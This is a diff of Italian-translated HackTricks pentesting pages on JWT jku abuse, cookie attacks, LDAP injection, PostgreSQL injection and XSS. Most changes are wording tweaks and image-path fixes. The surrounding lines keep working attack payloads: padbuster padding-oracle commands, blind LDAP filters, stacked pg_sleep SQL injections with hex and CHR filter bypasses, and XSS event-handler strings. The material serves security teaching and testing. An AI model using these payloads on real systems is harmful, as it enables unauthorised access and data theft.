-Se il token utilizza un claim di **Header** “**jku**” allora **controlla l'URL fornito**. Questo dovrebbe puntare a un URL contenente il file JWKS che detiene la Chiave Pubblica per verificare il token. Modifica il token per puntare il valore jku a un servizio web di cui puoi monitorare il traffico.
+Se il token utilizza un claim di **Header** “**jku**” allora **controlla l'URL fornito**. Questo dovrebbe puntare a un URL contenente il file JWKS che detiene la Chiave Pubblica per verificare il token. Modifica il token per puntare il valore jku a un servizio web che puoi monitorare.
 
-Prima devi creare un nuovo certificato con nuove chiavi private e pubbliche.
+First you need to create a new certificate with new private & public keys.
 ```bash
 openssl genrsa -out keypair.pem 2048
 openssl rsa -in keypair.pem -pubout -out publickey.crt
@@ -254,21 +254,21 @@ Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001
 
 La scadenza del token viene controllata utilizzando il claim "exp" Payload. Dato che i JWT vengono spesso impiegati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e ripetere il JWT di un altro utente potrebbe consentire l'impostazione di quell'utente. L'RFC JWT raccomanda di mitigare gli attacchi di ripetizione JWT utilizzando il claim "exp" per impostare un tempo di scadenza per il token. Inoltre, è cruciale l'implementazione di controlli pertinenti da parte dell'applicazione per garantire l'elaborazione di questo valore e il rifiuto dei token scaduti. Se il token include un claim "exp" e i limiti di tempo di test lo consentono, si consiglia di memorizzare il token e ripeterlo dopo che il tempo di scadenza è passato. Il contenuto del token, inclusa l'analisi del timestamp e il controllo della scadenza (timestamp in UTC), può essere letto utilizzando il flag -R di jwt_tool.
 
-* Potrebbe essere presente un rischio per la sicurezza se l'applicazione continua a convalidare il token, poiché ciò potrebbe implicare che il token non potrebbe mai scadere.
+* Potrebbe essere presente un rischio per la sicurezza se l'applicazione continua a convalidare il token, poiché potrebbe implicare che il token non potrebbe mai scadere.
 
 ### Strumenti
 
 {% embed url="https://github.com/ticarpi/jwt_tool" %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Impara e pratica l'Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Impara e pratica l'Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

pentesting-web/hacking-with-cookies/README.md

@@ -1,8 +1,8 @@
 # Cookies Hacking
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,7 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 </details>
 {% endhint %}
 
-
 ## Cookie Attributes
 
 I cookie hanno diversi attributi che controllano il loro comportamento nel browser dell'utente. Ecco un riepilogo di questi attributi in una voce più passiva:
@@ -61,7 +60,7 @@ Ricorda, mentre configuri i cookie, comprendere questi attributi può aiutare a
 Tabella da [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) e leggermente modificata.\
 Un cookie con l'attributo _**SameSite**_ **mitigherà gli attacchi CSRF** in cui è necessaria una sessione autenticata.
 
-**\*Nota che da Chrome80 (feb/2019) il comportamento predefinito di un cookie senza un attributo same-site** **sarà lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
+**\*Nota che da Chrome80 (feb/2019) il comportamento predefinito di un cookie senza un attributo SameSite** **sarà lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
 Nota che temporaneamente, dopo aver applicato questa modifica, i **cookie senza una policy SameSite** in Chrome saranno **trattati come None** durante i **primi 2 minuti e poi come Lax per le richieste POST cross-site di livello superiore.**
 
 ## Cookies Flags
@@ -75,7 +74,7 @@ Questo impedisce al **client** di accedere al cookie (ad esempio tramite **Javas
 * Se la pagina **invia i cookie come risposta** a una richiesta (ad esempio in una pagina **PHPinfo**), è possibile abusare dell'XSS per inviare una richiesta a questa pagina e **rubare i cookie** dalla risposta (controlla un esempio in [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
 * Questo potrebbe essere bypassato con richieste **TRACE** **HTTP** poiché la risposta del server (se questo metodo HTTP è disponibile) rifletterà i cookie inviati. Questa tecnica è chiamata **Cross-Site Tracking**.
 * Questa tecnica è evitata dai **browser moderni non permettendo l'invio di una richiesta TRACE** da JS. Tuttavia, sono stati trovati alcuni bypass in software specifici come l'invio di `\r\nTRACE` invece di `TRACE` a IE6.0 SP2.
-* Un altro modo è lo sfruttamento di vulnerabilità zero-day dei browser.
+* Un altro modo è lo sfruttamento di vulnerabilità zero/day dei browser.
 * È possibile **sovrascrivere i cookie HttpOnly** eseguendo un attacco di overflow del Cookie Jar:
 
 {% content-ref url="cookie-jar-overflow.md" %}
@@ -90,7 +89,7 @@ La richiesta invierà **solo** il cookie in una richiesta HTTP solo se la richie
 
 ## Cookies Prefixes
 
-I cookie con prefisso `__Secure-` devono essere impostati insieme al flag `secure` da pagine che sono protette da HTTPS.
+I cookie con prefisso `__Secure-` devono essere impostati insieme al flag `secure` da pagine protette da HTTPS.
 
 Per i cookie con prefisso `__Host-`, devono essere soddisfatte diverse condizioni:
 
@@ -105,11 +104,11 @@ Per i cookie con prefisso `__Host-`, devono essere soddisfatte diverse condizion
 
 Quindi, una delle protezioni dei cookie con prefisso `__Host-` è quella di impedire loro di essere sovrascritti dai sottodomini. Prevenendo ad esempio [**Cookie Tossing attacks**](cookie-tossing.md). Nella conferenza [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) è stato presentato che era possibile impostare cookie con prefisso \_\_HOST- da un sottodominio, ingannando il parser, ad esempio, aggiungendo "=" all'inizio o all'inizio e alla fine...:
 
-<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 O in PHP era possibile aggiungere **altri caratteri all'inizio** del nome del cookie che sarebbero stati **sostituiti da caratteri di sottolineatura**, consentendo di sovrascrivere i cookie `__HOST-`:
 
-<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
 
 ## Cookies Attacks
 
@@ -212,7 +211,7 @@ Questa vulnerabilità è particolarmente pericolosa nelle applicazioni web che s
 Se il cookie rimane lo stesso (o quasi) quando accedi, questo probabilmente significa che il cookie è correlato a qualche campo del tuo account (probabilmente il nome utente). Allora puoi:
 
 * Provare a creare molti **account** con nomi utente molto **simili** e cercare di **indovinare** come funziona l'algoritmo.
-* Provare a **bruteforce il nome utente**. Se il cookie viene salvato solo come metodo di autenticazione per il tuo nome utente, allora puoi creare un account con il nome utente "**Bmin**" e **bruteforce** ogni singolo **bit** del tuo cookie perché uno dei cookie che proverai sarà quello appartenente a "**admin**".
+* Provare a **bruteforceare il nome utente**. Se il cookie viene salvato solo come metodo di autenticazione per il tuo nome utente, allora puoi creare un account con nome utente "**Bmin**" e **bruteforceare** ogni singolo **bit** del tuo cookie perché uno dei cookie che proverai sarà quello appartenente a "**admin**".
 * Provare **Padding** **Oracle** (puoi decrittare il contenuto del cookie). Usa **padbuster**.
 
 **Padding Oracle - Esempi di Padbuster**
@@ -229,7 +228,7 @@ Padbuster farà diversi tentativi e ti chiederà quale condizione è la condizio
 
 Poi inizierà a decrittografare il cookie (potrebbe richiedere diversi minuti)
 
-Se l'attacco è stato eseguito con successo, allora potresti provare a crittografare una stringa a tua scelta. Ad esempio, se desideri **encrypt** **user=administrator**
+Se l'attacco è stato eseguito con successo, allora potresti provare a crittografare una stringa a tua scelta. Ad esempio, se volessi **encrypt** **user=administrator**
 ```
 padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
 ```
@@ -263,10 +262,9 @@ Dovrebbe esserci un modello (con la dimensione di un blocco utilizzato). Quindi,
 * [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
 * [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
 
-
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

pentesting-web/ldap-injection.md

@@ -3,8 +3,8 @@
 ## LDAP Injection
 
 {% hint style="success" %}
-Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Impara e pratica il hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Impara e pratica il hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -17,9 +17,9 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
 </details>
 {% endhint %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
+Se sei interessato a una **carriera nell'hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
@@ -33,7 +33,7 @@ Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **
 [pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
 {% endcontent-ref %}
 
-**LDAP Injection** è un attacco che prende di mira le applicazioni web che costruiscono dichiarazioni LDAP dall'input dell'utente. Si verifica quando l'applicazione **non riesce a sanitizzare correttamente** l'input, consentendo agli attaccanti di **manipolare le dichiarazioni LDAP** tramite un proxy locale, potenzialmente portando ad accessi non autorizzati o manipolazione dei dati.
+**LDAP Injection** è un attacco che prende di mira le applicazioni web che costruiscono dichiarazioni LDAP dall'input dell'utente. Si verifica quando l'applicazione **non riesce a sanitizzare correttamente** l'input, consentendo agli attaccanti di **manipolare le dichiarazioni LDAP** tramite un proxy locale, portando potenzialmente ad accessi non autorizzati o manipolazione dei dati.
 
 {% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
 
@@ -138,7 +138,7 @@ password=any
 
 ### Blind LDAP Injection
 
-Puoi forzare risposte False o True per verificare se vengono restituiti dati e confermare un possibile Blind LDAP Injection:
+Puoi forzare risposte False o True per controllare se vengono restituiti dati e confermare una possibile Blind LDAP Injection:
 ```bash
 #This will result on True, so some information will be shown
 Payload: *)(objectClass=*))(&objectClass=void
@@ -224,15 +224,15 @@ intitle:"phpLDAPadmin" inurl:cmd.php
 
 {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta conoscenza fluente del polacco scritto e parlato_).
+Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta fluente in polacco scritto e parlato_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Impara e pratica AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Impara e pratica GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -240,7 +240,7 @@ Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
 
 * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
 * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
+* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
 
 </details>
 {% endhint %}

pentesting-web/sql-injection/postgresql-injection/README.md

@@ -1,8 +1,8 @@
 # PostgreSQL injection
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 </details>
 {% endhint %}
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
 
@@ -50,7 +50,7 @@ Manipolare le stringhe potrebbe aiutarti a **bypassare i WAF o altre restrizioni
 
 ### Query impilate
 
-Ricorda che postgresql supporta query impilate, ma diverse applicazioni genereranno un errore se vengono restituite 2 risposte quando ci si aspetta solo 1. Ma, puoi comunque abusare delle query impilate tramite l'iniezione temporale:
+Ricorda che postgresql supporta query impilate, ma diverse applicazioni genereranno un errore se vengono restituite 2 risposte quando ci si aspetta solo 1. Ma, puoi comunque abusare delle query impilate tramite l'iniezione di tempo:
 ```
 id=1; select pg_sleep(10);-- -
 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
@@ -71,7 +71,7 @@ SELECT database_to_xml(true,true,'');
 ```
 ### Strings in Hex
 
-Se puoi eseguire **query** passandole **all'interno di una stringa** (ad esempio utilizzando la funzione **`query_to_xml`**). **Puoi usare convert\_from per passare la stringa come esadecimale e aggirare i filtri in questo modo:** 
+Se puoi eseguire **query** passando **all'interno di una stringa** (ad esempio utilizzando la funzione **`query_to_xml`**). **Puoi usare convert\_from per passare la stringa come esadecimale e aggirare i filtri in questo modo:** 
 
 {% code overflow="wrap" %}
 ```sql
@@ -87,7 +87,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
 
 ### Citazioni vietate
 
-Se non puoi usare le citazioni per il tuo payload, puoi aggirare questo con `CHR` per clausole di base (_la concatenazione dei caratteri funziona solo per query di base come SELECT, INSERT, DELETE, ecc. Non funziona per tutte le istruzioni SQL_):
+Se non puoi usare le citazioni per il tuo payload, puoi aggirare questo problema con `CHR` per clausole di base (_la concatenazione dei caratteri funziona solo per query di base come SELECT, INSERT, DELETE, ecc. Non funziona per tutte le istruzioni SQL_):
 ```
 SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
 ```
@@ -97,15 +97,15 @@ SELECT 'hacktricks';
 SELECT $$hacktricks$$;
 SELECT $TAG$hacktricks$TAG$;
 ```
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-Se sei interessato a una **carriera nel hacking** e a hackare l'impossibile - **stiamo assumendo!** (_richiesta fluente in polacco scritto e parlato_).
+Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_è richiesta la conoscenza fluente del polacco, scritto e parlato_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Impara e pratica l'Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Impara e pratica l'Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

pentesting-web/xss-cross-site-scripting/README.md

@@ -1,6 +1,6 @@
 # XSS (Cross Site Scripting)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se sei interessato a una **carriera nel hacking** e a hackare l'impossibile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
 
@@ -8,10 +8,10 @@ Se sei interessato a una **carriera nel hacking** e a hackare l'impossibile - **
 
 ## Metodologia
 
-1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _header_?, _cookie_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**.
+1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _header_?, _cookie_?) è **riflesso** nell'HTML o **utilizzato** dal codice **JS**.
 2. **Trova il contesto** in cui è riflesso/utilizzato.
 3. Se **riflesso**
-1. Controlla **quali simboli puoi usare** e, a seconda di ciò, prepara il payload:
+1. Controlla **quali simboli puoi usare** e a seconda di ciò, prepara il payload:
 1. In **HTML grezzo**:
 1. Puoi creare nuovi tag HTML?
 2. Puoi usare eventi o attributi che supportano il protocollo `javascript:`?
@@ -44,7 +44,7 @@ Quando lavori su un XSS complesso potresti trovare interessante sapere di:
 Per sfruttare con successo un XSS la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
 
 * **Riflesso intermediatamente**: Se scopri che il valore di un parametro o anche il percorso viene riflesso nella pagina web potresti sfruttare un **Reflected XSS**.
-* **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server e viene riflesso ogni volta che accedi a una pagina potresti sfruttare un **Stored XSS**.
+* **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server ed è riflesso ogni volta che accedi a una pagina potresti sfruttare un **Stored XSS**.
 * **Accessibile tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS potresti sfruttare un **DOM XSS**.
 
 ## Contesti
@@ -53,14 +53,14 @@ Quando cerchi di sfruttare un XSS la prima cosa che devi sapere è **dove il tuo
 
 ### HTML grezzo
 
-Se il tuo input è **riflesso nella pagina HTML grezza** dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
+Se il tuo input è **riflesso nell'HTML grezzo** della pagina dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
 Inoltre, tieni a mente [Client Side Template Injection](../client-side-template-injection-csti.md).
 
 ### All'interno dell'attributo dei tag HTML
 
 Se il tuo input è riflesso all'interno del valore dell'attributo di un tag potresti provare:
 
-1. A **sfuggire dall'attributo e dal tag** (poi sarai nell'HTML grezzo) e creare un nuovo tag HTML da abusare: `"><img [...]`
+1. A **sfuggire dall'attributo e dal tag** (allora sarai nell'HTML grezzo) e creare un nuovo tag HTML da abusare: `"><img [...]`
 2. Se **puoi sfuggire dall'attributo ma non dal tag** (`>` è codificato o eliminato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
 3. Se **non puoi sfuggire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** il tuo valore è riflesso in **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
 4. Se il tuo input è riflesso all'interno di "**tag non sfruttabili**" potresti provare il trucco **`accesskey`** per abusare della vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttare questo): **`" accesskey="x" onclick="alert(1)" x="`**
@@ -75,7 +75,7 @@ Esempio strano di Angular che esegue XSS se controlli un nome di classe:
 
 In questo caso, il tuo input è riflesso tra i tag **`<script> [...] </script>`** di una pagina HTML, all'interno di un file `.js` o all'interno di un attributo utilizzando il protocollo **`javascript:`**:
 
-* Se riflesso tra i tag **`<script> [...] </script>`**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` e uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag `</script>` iniettato è all'interno del codice HTML.
+* Se riflesso tra i tag **`<script> [...] </script>`**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` e uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag iniettato `</script>` è all'interno del codice HTML.
 * Se riflesso **all'interno di una stringa JS** e l'ultimo trucco non funziona, dovresti **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è un errore, non verrà eseguito):
 * `'-alert(1)-'`
 * `';-alert(1)//`
@@ -106,7 +106,7 @@ Un buon modo per scoprire se qualcosa fornito direttamente dall'utente sta cerca
 
 Nel caso sia vulnerabile, potresti essere in grado di **attivare un avviso** semplicemente inviando il valore: **`?callback=alert(1)`**. Tuttavia, è molto comune che questi endpoint **validino il contenuto** per consentire solo lettere, numeri, punti e trattini bassi (**`[\w\._]`**).
 
-Tuttavia, anche con quella limitazione è ancora possibile eseguire alcune azioni. Questo perché puoi utilizzare quei caratteri validi per **accedere a qualsiasi elemento nel DOM**:
+Tuttavia, anche con questa limitazione è ancora possibile eseguire alcune azioni. Questo perché puoi utilizzare quei caratteri validi per **accedere a qualsiasi elemento nel DOM**:
 
 ![](<../../.gitbook/assets/image (747).png>)
 
@@ -165,12 +165,12 @@ In questo caso e se non viene utilizzato alcun black/whitelisting, potresti usar
 <img src=x onerror=alert(1) />
 <svg onload=alert('XSS')>
 ```
-Ma, se viene utilizzato il black/whitelisting di tag/attributi, dovrai **forzare quali tag** puoi creare.\
+Ma, se viene utilizzato il black/whitelisting di tag/attributi, sarà necessario **forzare quali tag** puoi creare.\
 Una volta che hai **individuato quali tag sono consentiti**, dovrai **forzare gli attributi/eventi** all'interno dei tag validi trovati per vedere come puoi attaccare il contesto.
 
 ### Forzatura di tag/eventi
 
-Vai su [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copia tag negli appunti**_. Poi, inviali tutti usando Burp intruder e controlla se qualche tag non è stato scoperto come malevolo dal WAF. Una volta che hai scoperto quali tag puoi usare, puoi **forzare tutti gli eventi** usando i tag validi (nella stessa pagina web clicca su _**Copia eventi negli appunti**_ e segui la stessa procedura di prima).
